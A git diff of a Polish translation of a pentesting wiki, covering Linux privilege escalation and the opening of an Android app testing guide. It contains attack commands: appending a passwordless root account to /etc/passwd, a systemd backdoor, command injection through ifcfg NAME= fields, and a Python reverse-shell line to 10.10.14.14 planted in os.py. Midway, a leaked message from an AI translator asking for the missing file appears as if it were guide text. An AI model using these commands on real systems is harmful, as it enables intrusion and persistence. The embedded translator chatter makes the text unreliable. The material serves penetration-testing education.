odpowiedniku) ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Plik /etc/passwd z prawami zapisu +### Możliwe do zapisu /etc/passwd Najpierw wygeneruj hasło za pomocą jednego z następujących poleceń. ``` @@ -1236,47 +1237,48 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -I don't have the contents of src/linux-hardening/privilege-escalation/README.md — please paste the file contents you want translated. +Nie otrzymałem zawartości pliku src/linux-hardening/privilege-escalation/README.md — wklej go proszę. -Also confirm what you mean by "Then add the user `hacker` and add the generated password": -- Do you want me to insert a command snippet (e.g., useradd + passwd or adduser with an example generated password) into the translated README? -- Or do you want instructions only? -I cannot create system users on your machine; I can only provide the commands and the generated password text to add to the file. +Chcesz, żebym: +- przetłumaczył plik na polski (zgodnie z podanymi regułami) i na końcu dodał sekcję tworzącą użytkownika `hacker` z wygenerowanym hasłem, czy +- przygotował tylko polecenia do wykonania na systemie Linux, aby dodać użytkownika i ustawić hasło? + +Jeśli chcesz polecenia, podaj dystrybucję (Debian/Ubuntu/CentOS) i czy masz dostęp sudo/root. Mam też wygenerować hasło teraz i wstawić je do tłumaczenia? ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Np: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Np.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Możesz teraz użyć polecenia `su` z `hacker:hacker` +Teraz możesz użyć polecenia `su` z `hacker:hacker` -Alternatywnie, możesz użyć poniższych linii, aby dodać fałszywego użytkownika bez hasła.\ -UWAGA: możesz osłabić aktualne bezpieczeństwo maszyny. +Alternatywnie możesz użyć poniższych linii, aby dodać użytkownika tymczasowego bez hasła.\ +UWAGA: możesz obniżyć aktualne bezpieczeństwo maszyny. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -UWAGA: Na platformach BSD `/etc/passwd` znajduje się pod `/etc/pwd.db` i `/etc/master.passwd`, a także `/etc/shadow` został przemianowany na `/etc/spwd.db`. +UWAGA: Na platformach BSD `/etc/passwd` znajduje się w `/etc/pwd.db` i `/etc/master.passwd`, a `/etc/shadow` zmieniono nazwę na `/etc/spwd.db`. -Powinieneś sprawdzić, czy możesz **zapisywać w niektórych wrażliwych plikach**. Na przykład, czy możesz zapisać do jakiegoś **pliku konfiguracyjnego usługi**? +Powinieneś sprawdzić, czy możesz **zapisać do niektórych wrażliwych plików**. Na przykład, czy możesz zapisać do jakiegoś **pliku konfiguracyjnego usługi**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Na przykład, jeśli maszyna uruchamia serwer **tomcat** i możesz **modify the Tomcat service configuration file inside /etc/systemd/,** możesz zmodyfikować następujące linie: +Na przykład, jeśli maszyna uruchamia serwer **tomcat** i możesz **zmodyfikować plik konfiguracji usługi Tomcat w /etc/systemd/,** wtedy możesz zmodyfikować następujące linie: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Twój backdoor zostanie uruchomiony przy następnym uruchomieniu tomcat. +Twój backdoor zostanie wykonany przy następnym uruchomieniu tomcat. -### Sprawdź katalogi +### Sprawdź foldery -Następujące katalogi mogą zawierać kopie zapasowe lub interesujące informacje: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Prawdopodobnie nie będziesz w stanie odczytać ostatniego, ale spróbuj) +Następujące foldery mogą zawierać kopie zapasowe lub interesujące informacje: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Prawdopodobnie nie będziesz w stanie odczytać ostatniego, ale spróbuj) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Dziwna lokalizacja/Owned files +### Dziwne lokalizacje/Owned pliki ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1293,11 +1295,11 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Pliki zmodyfikowane w ciągu ostatnich minut +### Zmodyfikowane pliki w ostatnich minutach ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Pliki DB Sqlite +### Pliki Sqlite DB ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1305,11 +1307,11 @@ find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` -### Ukryte pliki +### Pliki ukryte ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Script/Binaries w PATH** +### **Skrypty/Binaria w PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1327,20 +1329,20 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### Znane pliki zawierające hasła -Przejrzyj kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), on szuka **wielu możliwych plików, które mogą zawierać hasła**.\ -**Innym ciekawym narzędziem**, którego możesz użyć w tym celu, jest: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — otwartoźródłowa aplikacja służąca do odzyskiwania wielu haseł przechowywanych na lokalnym komputerze dla Windows, Linux i Mac. +Przejrzyj kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), on przeszukuje **wiele możliwych plików, które mogą zawierać hasła**.\ +**Innym ciekawym narzędziem**, którego możesz do tego użyć, jest: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — aplikacja open source służąca do odzyskiwania wielu haseł przechowywanych na lokalnym komputerze dla Windows, Linux i Mac. ### Logi -Jeśli potrafisz czytać logi, możesz znaleźć w nich **interesujące/poufne informacje**. Im dziwniejszy log, tym bardziej interesujący (prawdopodobnie).\ -Ponadto niektóre **źle** skonfigurowane (backdoored?) **audit logs** mogą pozwolić na **zapisanie haseł** w audit logs, jak wyjaśniono w tym poście: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Jeśli potrafisz czytać logi, możesz znaleźć **interesujące/poufne informacje wewnątrz nich**. Im dziwniejszy log, tym prawdopodobnie ciekawszy.\ +Ponadto, niektóre "**źle**" skonfigurowane (z backdoorem?) **logi audytu** mogą pozwolić ci **zarejestrować hasła** w logach audytu, jak wyjaśniono w tym poście: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/]. ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Aby czytać logi, grupa [**adm**](interesting-groups-linux-pe/index.html#adm-group) będzie bardzo pomocna. +Aby móc czytać logi, grupa [**adm**](interesting-groups-linux-pe/index.html#adm-group) będzie bardzo pomocna. -### Pliki Shell +### Shell files ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1353,41 +1355,41 @@ Aby czytać logi, grupa [**adm**](interesting-groups-linux-pe/index.html#adm-gro ``` ### Generic Creds Search/Regex -Powinieneś również sprawdzać pliki zawierające słowo "**password**" w **nazwie** lub w **zawartości**, a także sprawdzać IP i adresy e-mail w logach oraz hashes regexps.\ -Nie będę tu opisywać, jak to wszystko zrobić, ale jeśli jesteś zainteresowany możesz sprawdzić ostatnie kontrole, które wykonuje [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). +Powinieneś także sprawdzić pliki zawierające słowo "**password**" w **nazwie** lub w **zawartości**, a także wyszukać adresy IP i e-maile w logach oraz regexpy dla hashów.\ +Nie będę tu opisywał, jak wykonać to wszystko, ale jeśli jesteś zainteresowany, możesz sprawdzić ostatnie sprawdzenia, które wykonuje [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). ## Pliki zapisywalne ### Python library hijacking -Jeśli wiesz z **którego miejsca** będzie uruchamiany skrypt python i możesz **zapisywać w** tym folderze lub możesz **modyfikować python libraries**, możesz zmodyfikować OS library i backdoor it (jeśli możesz zapisywać tam, gdzie skrypt python będzie uruchamiany, skopiuj i wklej bibliotekę os.py). +Jeśli wiesz, z **którego katalogu** będzie uruchamiany skrypt python i **możesz zapisywać w tym folderze** lub możesz **modify python libraries**, możesz zmodyfikować bibliotekę OS i backdoor it (jeśli możesz zapisać tam, gdzie będzie uruchamiany skrypt python, skopiuj i wklej bibliotekę os.py). -Aby **backdoor the library**, po prostu dodaj na końcu biblioteki os.py następującą linię (change IP and PORT): +Aby **backdoor the library** po prostu dodaj na końcu biblioteki os.py następującą linię (zmień IP i PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Eksploatacja logrotate -Luka w `logrotate` pozwala użytkownikom z **uprawnieniami zapisu** do pliku dziennika lub jego katalogów nadrzędnych potencjalnie uzyskać podwyższone uprawnienia. Dzieje się tak, ponieważ `logrotate`, często uruchamiany jako **root**, może zostać zmanipulowany do wykonania dowolnych plików, zwłaszcza w katalogach takich jak _**/etc/bash_completion.d/**_. Ważne jest sprawdzenie uprawnień nie tylko w _/var/log_, ale także w każdym katalogu, gdzie stosowana jest rotacja logów. +Luka w `logrotate` pozwala użytkownikom z **uprawnieniami zapisu** do pliku logu lub jego katalogów nadrzędnych potencjalnie uzyskać zwiększone uprawnienia. Dzieje się tak, ponieważ `logrotate`, często uruchamiany jako **root**, może zostać zmanipulowany do wykonania dowolnych plików, szczególnie w katalogach takich jak _**/etc/bash_completion.d/**_. Ważne jest sprawdzanie uprawnień nie tylko w _/var/log_, ale także w każdym katalogu, gdzie stosowana jest rotacja logów. > [!TIP] -> Ta podatność dotyczy `logrotate` w wersji `3.18.0` i starszych +> Ta luka dotyczy `logrotate` w wersji `3.18.0` i starszych -Więcej szczegółowych informacji o podatności znajdziesz na tej stronie: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Bardziej szczegółowe informacje o luce można znaleźć na tej stronie: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Możesz wykorzystać tę podatność za pomocą [**logrotten**](https://github.com/whotwagner/logrotten). +Możesz wykorzystać tę lukę za pomocą [**logrotten**](https://github.com/whotwagner/logrotten). -Ta podatność jest bardzo podobna do [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** więc ilekroć odkryjesz, że możesz modyfikować logi, sprawdź, kto nimi zarządza i sprawdź, czy możesz eskalować uprawnienia, zastępując logi symlinks. +Ta luka jest bardzo podobna do [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** więc za każdym razem, gdy odkryjesz, że możesz modyfikować logi, sprawdź, kto nimi zarządza i czy możesz eskalować uprawnienia, zastępując logi symlinkami. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Odniesienie do podatności:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Referencja luki:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Jeśli z jakiegoś powodu użytkownik jest w stanie **zapisć** skrypt `ifcf-` do _/etc/sysconfig/network-scripts_ **lub** może **zmodyfikować** istniejący, to twój **system is pwned**. +Jeśli, z jakiegokolwiek powodu, użytkownik jest w stanie **zapisać** skrypt `ifcf-` do _/etc/sysconfig/network-scripts_ **lub** **zmodyfikować** istniejący, to twój **system jest pwned**. -Skrypty sieciowe, np. _ifcg-eth0_, są używane do połączeń sieciowych. Wyglądają dokładnie jak pliki .INI. Jednak są \~sourced\~ na Linuxie przez Network Manager (dispatcher.d). +Skrypty sieciowe, np. _ifcg-eth0_, są używane do połączeń sieciowych. Wyglądają dokładnie jak pliki .INI. Jednak są ~sourced~ na Linuxie przez Network Manager (dispatcher.d). -W moim przypadku atrybut `NAME=` w tych skryptach sieciowych nie jest obsługiwany prawidłowo. Jeśli w nazwie znajduje się spacja, system próbuje wykonać część po tej spacji. To oznacza, że **wszystko po pierwszej spacji jest wykonywane jako root**. +W moim przypadku atrybut `NAME=` w tych skryptach sieciowych nie jest obsługiwany poprawnie. Jeśli w nazwie masz **spację/puste miejsce**, system próbuje wykonać część po spacji. Oznacza to, że **wszystko po pierwszej spacji jest wykonywane jako root**. Na przykład: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1395,17 +1397,17 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Zauważ pustą spację między Network a /bin/id_) +(_Zwróć uwagę na spację między Network i /bin/id_) -### **init, init.d, systemd, i rc.d** +### **init, init.d, systemd i rc.d** -Katalog `/etc/init.d` zawiera **skrypty** dla System V init (SysVinit), **klasycznego systemu zarządzania usługami w Linuxie**. Zawiera skrypty do `start`, `stop`, `restart`, a czasem `reload` usług. Mogą być one wykonywane bezpośrednio lub przez dowiązania symboliczne znajdujące się w `/etc/rc?.d/`. Alternatywna ścieżka w systemach Redhat to `/etc/rc.d/init.d`. +Katalog `/etc/init.d` zawiera **skrypty** dla System V init (SysVinit), **klasycznego systemu zarządzania usługami w Linuxie**. Zawiera skrypty do `start`, `stop`, `restart` i czasami `reload` usług. Mogą być uruchamiane bezpośrednio lub przez dowiązania symboliczne znajdujące się w `/etc/rc?.d/`. Alternatywna ścieżka w systemach Redhat to `/etc/rc.d/init.d`. -Z kolei `/etc/init` jest powiązany z **Upstart**, nowszym **systemem zarządzania usługami** wprowadzonym przez Ubuntu, wykorzystującym pliki konfiguracyjne do zarządzania usługami. Pomimo przejścia na Upstart, skrypty SysVinit są nadal używane obok konfiguracji Upstart dzięki warstwie kompatybilności w Upstart. +Z kolei `/etc/init` jest związany z **Upstart**, nowszym **systemem zarządzania usługami** wprowadzonym przez Ubuntu, używającym plików konfiguracyjnych do zarządzania usługami. Pomimo przejścia na Upstart, skrypty SysVinit wciąż są wykorzystywane obok konfiguracji Upstart ze względu na warstwę kompatybilności w Upstart. -**systemd** wyłania się jako nowoczesny menedżer inicjalizacji i usług, oferując zaawansowane funkcje takie jak uruchamianie daemonów na żądanie, zarządzanie automount i migawki stanu systemu. Organizuje pliki w `/usr/lib/systemd/` dla pakietów dystrybucyjnych i `/etc/systemd/system/` dla modyfikacji administratora, upraszczając proces administracji systemem. +**systemd** pojawia się jako nowoczesny menedżer inicjalizacji i usług, oferując zaawansowane funkcje takie jak uruchamianie daemonów na żądanie, zarządzanie automount oraz snapshoty stanu systemu. Organizuje pliki w `/usr/lib/systemd/` dla pakietów dystrybucji i `/etc/systemd/system/` dla modyfikacji administratora, usprawniając proces administracji systemem. -## Other Tricks +## Inne sztuczki ### NFS Privilege escalation @@ -1430,7 +1432,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks często hookują syscall, aby udostępnić uprzywilejowaną funkcjonalność jądra managerowi w userspace. Słaba autentykacja managera (np. sprawdzanie podpisu oparte na FD-order lub słabe schematy haseł) może umożliwić lokalnej aplikacji podszycie się pod managera i eskalację do root na urządzeniach już zrootowanych. Dowiedz się więcej i poznaj szczegóły eksploatacji tutaj: +Android rooting frameworks często hookują syscall, aby ujawnić uprzywilejowaną funkcjonalność kernela menedżerowi w userspace. Słaba autentykacja menedżera (np. sprawdzenia podpisu oparte na FD-order lub słabe schematy haseł) może umożliwić lokalnej aplikacji podszycie się pod menedżera i eskalację do root na już zrootowanych urządzeniach. Dowiedz się więcej i szczegóły eksploatacji tutaj: {{#ref}} @@ -1448,7 +1450,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## Linux/Unix Privesc Tools -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Najlepsze narzędzie do wyszukiwania Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ @@ -1459,9 +1461,9 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**Zbiór dodatkowych skryptów**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## References +## Źródła - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 4b633a065..465cdc39c 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -1,4 +1,4 @@ -# Pentesting aplikacji Android +# Aplikacje Android Pentesting {{#include ../../banners/hacktricks-training.md}} @@ -13,23 +13,23 @@ android-applications-basics.md ## ADB (Android Debug Bridge) -To główne narzędzie, którego potrzebujesz, aby połączyć się z urządzeniem Android (emulowanym lub fizycznym).\ -**ADB** pozwala kontrolować urządzenia zarówno przez **USB**, jak i przez **sieć** z komputera. To narzędzie umożliwia **kopiowanie** plików w obu kierunkach, **instalację** i **odinstalowanie** aplikacji, **wykonywanie** poleceń shell, **tworzenie kopii zapasowych** danych, **odczytywanie** logów i inne funkcje. +To jest główne narzędzie, którego potrzebujesz, aby połączyć się z urządzeniem android (emulowanym lub fizycznym).\ +**ADB** pozwala kontrolować urządzenia zarówno przez **USB** jak i **Network** z komputera. To narzędzie umożliwia **kopiowanie** plików w obu kierunkach, **instalację** i **deinstalację** aplikacji, **wykonywanie** poleceń shell, **backup** danych, **odczyt** logów, oraz inne funkcje. -Zobacz następującą listę [**ADB Commands**](adb-commands.md), aby nauczyć się używać adb. +Rzuć okiem na następującą listę [**ADB Commands**](adb-commands.md), aby nauczyć się jak używać adb. ## Smali -Czasami warto **modyfikować kod aplikacji**, aby uzyskać dostęp do **ukrytych informacji** (np. dobrze obfuskowane hasła lub flagi). Wówczas może być interesujące zdekompilować APK, zmodyfikować kod i ponownie go skompilować.\ -[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). To może być bardzo przydatne jako **alternatywa dla kilku testów podczas dynamic analysis**, które zostaną zaprezentowane. Zawsze miej tę możliwość na uwadze. +Czasami warto **zmodyfikować kod aplikacji**, aby uzyskać dostęp do **ukrytych informacji** (np. dobrze obfuskowane hasła lub flagi). W takim wypadku może być przydatne zdekompilowanie apk, modyfikacja kodu i ponowna kompilacja.\ +[**W tym samouczku** możesz **nauczyć się jak zdekompilować APK, zmodyfikować kod Smali i ponownie skompilować APK** z nową funkcjonalnością](smali-changes.md). Może to być bardzo użyteczne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które zostaną przedstawione. Dlatego **zawsze miej na uwadze tę możliwość**. -## Other interesting tricks +## Inne interesujące triki -- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md) +- [Fałszowanie lokalizacji w Play Store](spoofing-your-location-in-play-store.md) - [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md) -- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md) -- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md) -- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) +- [Wykorzystywanie niebezpiecznych mechanizmów In-App Update](insecure-in-app-update-rce.md) +- [Wykorzystywanie Accessibility Services (Android RAT)](accessibility-services-abuse.md) +- **Pobieranie APKów**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) - Wyodrębnij APK z urządzenia: ```bash adb shell pm list packages @@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk # after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ``` -## Case Studies & Vulnerabilities +## Studia przypadków i podatności {{#ref}} @@ -61,39 +61,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Static Analysis +## Analiza statyczna -Przede wszystkim, aby analizować APK powinieneś **rzucić okiem na kod Java** używając decompiler'a.\ -Proszę, [**przeczytaj tutaj aby znaleźć informacje o różnych dostępnych decompilerach**](apk-decompilers.md). +Po pierwsze, aby analizować APK powinieneś **przejrzeć kod Java** używając dekompilatora.\ +Proszę, [**read here to find information about different available decompilers**](apk-decompilers.md). -### Looking for interesting Info +### Poszukiwanie ciekawych informacji -Wystarczy spojrzeć na **strings** z APK, aby wyszukać **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** i wszystko, co interesujące... sprawdź nawet obecność backdoorów do wykonania kodu lub backdoorów uwierzytelniania (hardcoded admin credentials w aplikacji). +Już samo przejrzenie **strings** w APK pozwala szukać **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** i wszystkiego interesującego... sprawdź nawet obecność wykonania kodu **backdoors** lub uwierzytelniających backdoorów (hardcoded admin credentials to the app). **Firebase** -Zwróć szczególną uwagę na **firebase URLs** i sprawdź, czy nie są źle skonfigurowane. [Więcej informacji o tym czym jest Firebase i jak to eksploatować znajdziesz tutaj.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +Zwróć szczególną uwagę na **firebase URLs** i sprawdź, czy jest źle skonfigurowany. [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) -### Basic understanding of the application - Manifest.xml, strings.xml +### Podstawowe zrozumienie aplikacji - Manifest.xml, strings.xml -**Badanie plików _Manifest.xml_ oraz _strings.xml_ aplikacji może ujawnić potencjalne luki bezpieczeństwa**. Do tych plików można uzyskać dostęp używając decompilerów lub zmieniając rozszerzenie pliku APK na .zip i rozpakowując go. +**Przegląd plików _Manifest.xml_ i **_strings.xml_** aplikacji może ujawnić potencjalne luki bezpieczeństwa**. Do tych plików można uzyskać dostęp używając dekompilatorów lub zmieniając rozszerzenie pliku APK na .zip i rozpakowując go. -**Luki** zidentyfikowane w **Manifest.xml** obejmują: +**Podatności** wykrywane z **Manifest.xml** obejmują: -- **Debuggable Applications**: Aplikacje ustawione jako debuggable (`debuggable="true"`) w pliku _Manifest.xml_ stanowią ryzyko, ponieważ pozwalają na połączenia, które mogą prowadzić do eksploatacji. Aby lepiej zrozumieć jak eksploatować debuggable applications, odnieś się do tutoriala o znajdowaniu i wykorzystywaniu debuggable applications na urządzeniu. -- **Backup Settings**: Atrybut `android:allowBackup="false"` powinien być jawnie ustawiony dla aplikacji przetwarzających wrażliwe informacje, aby zapobiec nieautoryzowanym backupom danych przez adb, szczególnie gdy usb debugging jest włączone. -- **Network Security**: Niestandardowe konfiguracje network security (`android:networkSecurityConfig="@xml/network_security_config"`) w _res/xml/_ mogą określać szczegóły bezpieczeństwa takie jak certificate pins i ustawienia ruchu HTTP. Przykładem jest pozwolenie na HTTP traffic dla wybranych domen. -- **Exported Activities and Services**: Identyfikacja exported activities i services w manifeście może ujawnić komponenty, które mogą być nadużyte. Dalsza analiza podczas dynamic testing może pokazać jak eksploatować te komponenty. -- **Content Providers and FileProviders**: Udostępnione content providers mogą pozwolić na nieautoryzowany dostęp lub modyfikację danych. Konfiguracja FileProviders powinna być również dokładnie sprawdzona. -- **Broadcast Receivers and URL Schemes**: Te komponenty mogą być wykorzystane do eksploatacji, ze szczególnym uwzględnieniem sposobu obsługi URL schemes pod kątem podatności wejścia. -- **SDK Versions**: Atrybuty `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` wskazują wspierane wersje Androida, co podkreśla znaczenie nie wspierania przestarzałych, podatnych wersji Androida ze względów bezpieczeństwa. +- **Debuggable Applications**: Aplikacje ustawione jako debuggable (`debuggable="true"`) w pliku _Manifest.xml_ stanowią ryzyko, ponieważ umożliwiają połączenia, które mogą prowadzić do eksploatacji. Aby lepiej zrozumieć, jak eksploatować aplikacje oznaczone jako debuggable, odnieś się do samouczka o wyszukiwaniu i eksploatowaniu debuggable aplikacji na urządzeniu. +- **Backup Settings**: Atrybut `android:allowBackup="false"` powinien być ustawiony wyraźnie dla aplikacji przetwarzających wrażliwe informacje, aby zapobiec nieautoryzowanym backupom danych przez adb, szczególnie gdy włączone jest usb debugging. +- **Network Security**: Niestandardowe konfiguracje bezpieczeństwa sieci (`android:networkSecurityConfig="@xml/network_security_config"`) w _res/xml/_ mogą określać szczegóły bezpieczeństwa, takie jak pinowanie certyfikatów i ustawienia ruchu HTTP. Przykładem może być zezwolenie na ruch HTTP dla określonych domen. +- **Exported Activities and Services**: Identyfikacja eksportowanych aktywności i serwisów w manifeście może ujawnić komponenty, które mogą być nadużyte. Dalsza analiza podczas testów dynamicznych może pokazać sposoby ich wykorzystania. +- **Content Providers and FileProviders**: Udostępnione content providery mogą pozwolić na nieautoryzowany dostęp lub modyfikację danych. Konfiguracja FileProviders również powinna zostać dokładnie przeanalizowana. +- **Broadcast Receivers and URL Schemes**: Te komponenty mogą zostać wykorzystane do eksploatacji, ze szczególną uwagą na to, jak zarządzane są URL schemes pod kątem podatności wejścia. +- **SDK Versions**: Atrybuty `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` wskazują obsługiwane wersje Androida, podkreślając znaczenie niewspierania przestarzałych, podatnych wersji Androida ze względów bezpieczeństwa. -Z pliku **strings.xml** można odkryć wrażliwe informacje takie jak API keys, custom schemas oraz inne notatki deweloperskie, co podkreśla potrzebę uważnego przeglądu tych zasobów. +Z pliku **strings.xml** można odkryć wrażliwe informacje, takie jak API keys, custom schemas i inne notatki deweloperskie, co podkreśla potrzebę dokładnego przeglądu tych zasobów. ### Tapjacking -**Tapjacking** to atak, w którym **malicious** **application** jest uruchamiana i **pozycjonuje się nad aplikacją ofiary**. Gdy zasłoni aplikację ofiary, jej interfejs użytkownika jest zaprojektowany w taki sposób, by oszukać użytkownika, skłaniając go do interakcji, podczas gdy interakcja jest przekazywana do aplikacji ofiary.\ -W praktyce jest to **oślepianie użytkownika, przez co nie wie, że faktycznie wykonuje akcje w aplikacji ofiary**. +**Tapjacking** to atak, w którym **malicious** **application** jest uruchamiana i **pozycjonuje się nad aplikacją ofiary**. Gdy zasłania ona widocznie aplikację ofiary, jej interfejs użytkownika jest zaprojektowany tak, aby oszukać użytkownika, by wchodził w interakcję z nim, podczas gdy interakcja jest przekazywana do aplikacji ofiary.\ +W efekcie, **użytkownik jest oślepiony i nie wie, że faktycznie wykonuje działania w aplikacji ofiary**. Find more information in: @@ -104,7 +104,7 @@ tapjacking.md ### Task Hijacking -Aktywność z 